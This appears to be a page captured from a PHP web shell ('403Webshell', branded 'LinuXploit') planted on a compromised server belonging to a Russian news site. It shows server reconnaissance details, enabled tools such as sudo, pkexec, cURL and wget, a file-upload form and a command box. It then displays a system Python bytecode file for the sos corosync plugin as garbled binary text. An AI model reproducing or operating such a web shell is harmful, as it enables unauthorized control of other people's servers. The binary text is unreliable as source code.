403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/corosync.cpython-39.pyc
a

ܓ�i�	�@sZddlZddlmZmZmZmZGdd�de�ZGdd�dee�ZGdd�deee�ZdS)	�N)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s,eZdZdZdZdZdZdd�Zdd�Zd	S)
�CorosynczCorosync cluster engine�corosync)Zcluster)rc
Cs�|�gd��|�gd��|jddd�|�d�d}|�|�sFdSd}zj|�d�}t|d	d
d��>}|D](}t�||�rj|�t�||��	d��qjWd�n1s�0YWn:t
y�}z"|�d
|�d|���WYd}~n
d}~00dS)N)z
/etc/corosyncz/var/lib/corosync/fdataz/var/log/cluster/corosync.log*)zcorosync-quorumtool -lzcorosync-quorumtool -szcorosync-cpgtoolzcorosync-cfgtool -szcorosync-blackboxzcorosync-objctl -azcorosync-cmapctl -m statszcorosync-cmapctlZcorosync_cmapctl)�tagszkillall -USR2 corosyncz/etc/corosync/corosync.confz ^\s*(logging.)?logfile:\s*(\S+)$�rzUTF-8)�encoding�zcould not read from z: )Z
add_copy_specZadd_cmd_outputZexec_cmdZpath_existsZ	path_join�open�re�match�search�group�IOErrorZ	_log_warn)�selfZ
corosync_conf�patternZcconf�file�line�err�r�?/usr/lib/python3.9/site-packages/sos/report/plugins/corosync.py�setups$	�


<zCorosync.setupcCs|�ddd�dS)Nzcorosync-objctlz(.*fence.*\.passwd=)(.*)z\1******)Zdo_cmd_output_sub)rrrr�postproc;s
�zCorosync.postprocN)	�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrrrrrrr
s&rc@seZdZdZdS)�RedHatCorosync�0 Parent class Corosync's setup() will be called N)rrr�__doc__rrrrrCsrc@seZdZdZdZdS)�DebianCorosyncr)z/usr/sbin/corosyncN)rrrr �filesrrrrr!Gsr!)	r
Zsos.report.pluginsrrrrrrr!rrrr�<module>	s6

Youez - 2016 - github.com/yon3zu
LinuXploit